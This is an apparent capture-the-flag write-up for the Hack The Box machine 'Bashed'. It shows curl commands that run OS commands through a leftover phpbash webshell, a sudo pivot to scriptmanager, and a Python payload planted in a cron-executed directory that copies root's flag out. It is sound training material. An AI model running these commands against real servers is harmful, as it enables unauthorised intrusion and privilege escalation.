Post

Bashed

A PHP webshell left in a publicly-accessible /dev/ directory on an Apache server provided unauthenticated command execution as www-data, landing the user flag without any authentication.

Bashed

Overview

Bashed is an easy-difficulty Linux machine built around a series of real-world misconfigurations. Directory enumeration uncovers a /dev/ path hosting phpbash.php, a browser-based PHP webshell the developer left on the production server — browsing to it gives immediate command injection as www-data. From there, a sudo rule lets www-data pivot to scriptmanager without a password, and a root-owned cron job that executes all Python scripts in a scriptmanager-writable /scripts/ directory completes the chain to root.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

High Real-Life axis reflects how commonly leftover dev tools, overpermissive sudo rules, and root-owned cron jobs over writable directories appear in real production Linux environments; no CVE and no custom exploit were involved.

Recon

PortServiceNotes
80/tcpApache httpdLinux web server, site about the phpbash tool
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p80 -sC -sV -Pn 10.10.10.X

Only port 80 was open. The Apache web server hosted a site whose homepage text stated the author developed phpbash on this exact server, hinting that the tool might still be present.

Enumeration

Browsing the site confirms it is a static homepage advertising the phpbash project. A gobuster scan of the web root uncovers a /dev/ directory:

1
gobuster dir -u http://10.10.10.X -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 50

Navigating to http://10.10.10.X/dev/ reveals phpbash.php — a fully functional browser-based terminal that accepts OS commands via a POST parameter and returns output directly. No authentication, no IP restriction.

Foothold

Confirm unauthenticated RCE via the webshell POST interface:

1
curl -s -X POST "http://10.10.10.X/dev/phpbash.php" -d "cmd=id"

The response confirms execution as www-data. All subsequent commands are issued through this interface. Check sudo rights:

1
curl -s -X POST "http://10.10.10.X/dev/phpbash.php" --data-urlencode "cmd=sudo -l"

Output shows (scriptmanager : scriptmanager) NOPASSWD: ALLwww-data can run any command as scriptmanager with no password, an improper privilege management misconfiguration.

User flag

1
curl -s -X POST "http://10.10.10.X/dev/phpbash.php" --data-urlencode "cmd=cat /home/arrexel/user.txt"   # HTB{...}

The webshell running as www-data has read access to arrexel’s home directory; the user flag is ours without needing a full interactive shell.

Privilege Escalation

Pivot to scriptmanager using the unrestricted sudo rule:

1
curl -s -X POST "http://10.10.10.X/dev/phpbash.php" --data-urlencode "cmd=sudo -u scriptmanager id"

Inspect the /scripts/ directory:

1
curl -s -X POST "http://10.10.10.X/dev/phpbash.php" --data-urlencode "cmd=sudo -u scriptmanager ls -la /scripts/"

/scripts/ is owned and writable by scriptmanager. A test.txt file there is owned by root with a very recent modification time, confirming a root cron job is executing scripts in this directory approximately every minute. This is an incorrect permission assignment — root trusts a directory it does not control.

Write a malicious Python script as scriptmanager:

1
2
curl -s -X POST "http://10.10.10.X/dev/phpbash.php" \
  --data-urlencode "cmd=sudo -u scriptmanager bash -c 'echo \"import os; os.system(\\\"cp /root/root.txt /tmp/root.txt && chmod 777 /tmp/root.txt\\\")\" > /scripts/pwn.py'"

Wait up to one minute for the root cron to fire, then read the flag:

1
curl -s -X POST "http://10.10.10.X/dev/phpbash.php" --data-urlencode "cmd=cat /tmp/root.txt"

Root flag

1
cat /tmp/root.txt   # HTB{...}

Root-owned Python execution over a writable directory completes the chain — full compromise of Bashed confirmed.

This post is licensed under CC BY 4.0 by the author.